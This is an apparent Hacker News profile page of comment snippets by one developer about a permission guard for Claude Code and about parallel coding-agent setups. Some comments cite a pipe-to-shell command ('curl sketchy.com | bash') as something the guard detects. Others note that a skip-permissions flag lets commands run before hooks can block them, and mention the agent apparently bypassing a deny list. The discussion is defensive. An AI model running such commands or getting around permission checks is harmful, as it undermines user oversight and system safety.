schipperai

7 ms·

61.
by schipperai 7mo ago
nah already handles that: 'rm -rf __pycache__' inside your project is auto-allowed (filesystem_delete with context policy -> checks if it's inside the project -> allow). No config needed. But you can customize everythin
62.
by schipperai 7mo ago
good question! git checkout . on its own is classified as git_discard → ask. git checkout (without the dot) as git_write → allow For pipes, it applies composition rules - 'curl sketchy.com | bash' is specifically detected as &#x27
63.
by schipperai 7mo ago
Sorry for the confusion! --dangerously-skip-permissions makes hooks fire asynchronously, so commands execute before nah can block them (see: https://github.com/anthropics/claude-code/issues/20946 ). I suggest
64.
by schipperai 7mo ago
We'll see how auto mode ends up working - my tool could end up being complementary, or a good alternative for those that prefer more granular control, or are cost/latency sensitive.
65.
by schipperai 7mo ago
cool! thx for sharing! when I first thought about building this, I thought a solid solution would be impossible without an LLM in the loop. I discovered pattern matching can go a long way in avoiding catastrophes...
66.
by schipperai 7mo ago
Hi HN, author here - happy to answer any questions.
67.
Show HN: A context-aware permission guard for Claude Code(github.com)
127 points by schipperai 7mo ago|94 comments
68.
by schipperai 7mo ago
Thanks! Glad you enjoyed it and found it helpful. I agree there is no one size fits all (yet). I have looked into a lot of orchestrators and none so far have fit my needs. I prefer my customized simple setup.
69.
by schipperai 7mo ago
Is this a policy snippet you add to your CLAUDE.md? Do you still maintain a deny list? I recently added a snippet asking Claude to not try to bypass the deny list. I didn't have an incidence since but Im still nervous... Claude once by
70.
by schipperai 7mo ago
I describe this in the article - I mostly kick off a new agent per spec both for Planners and Workers. I do tend to run /fd-explore before I start work on a given spec to give the agent context of the codebase and recent previous work
71.
by schipperai 7mo ago
Beads has been on my list to try. I can see it being a natural evolution of my setup
72.
by schipperai 7mo ago
it can be cognitively demanding but you adapt and often get in a flow state… but it’s nothing like programming used to be though and I get that
73.
by schipperai 7mo ago
it is ironic
74.
by schipperai 7mo ago
Thanks! I mainly work solo so I haven’t tested this setup in a shared project.
75.
by schipperai 7mo ago
I have /fd-verify which I execute with the Worker after its done implementing. I didn’t feel the need to have a separate window / agent for reviewing. The same Worker can review its own code. What would be the benefits of having a
76.
by schipperai 7mo ago
The merge conflicts and cognitive load are indeed two big struggles with my setup. Going back to a single Claude instances however would mean I’m waiting for things to happen most of the time. What do you do while Claude is busy?
77.
by schipperai 7mo ago
I have only seen similar posts in HN or X. I’d be curious if there are more.
78.
by schipperai 7mo ago
do you find the merging agent to be reliable? I had a few bad merges in the past that makes me nervous of just letting agents take care of it
79.
by schipperai 7mo ago
Further, my POV is that coding agents crossed a chasm only last December with Opus 4.5 release. Only since then these kinds of agent teams setups actually work. It’s early days for agent orchestration
80.
by schipperai 7mo ago
I avoid this with one spec = one agent, with worktrees if there is a chance of code clashing. Not ideal for parallelism though.
81.
by schipperai 7mo ago
Do parallel workers execute on the same spec? How do you ensure they don't clash with each other?
82.
by schipperai 7mo ago
Few experiments like gas town, the compiler from Anthropic or the browser from Cursor managed to reach the Rocket stage, though in their reports the jagged intelligence of the LLMs was eerily apparent. Do you think we also need better model
83.
by schipperai 7mo ago
That's a yes from my side.
84.
by schipperai 7mo ago
I picked up a number things from others sharing their setup. While I agree some aspects of these are repetitive (like using md files for planning), I do find useful things here and there.
85.
by schipperai 7mo ago
I built so much muscle memory from the original system, so it made sense to apply it to other projects. This was the simplest way to achieve that
86.
by schipperai 7mo ago
I work for Snowflake and the code I'm building is internal. I'm exploring open sourcing my main project which I built with this system. I'd love to share it one day!
87.
Parallel coding agents with tmux and Markdown specs(schipper.ai)
189 points by schipperai 7mo ago|131 comments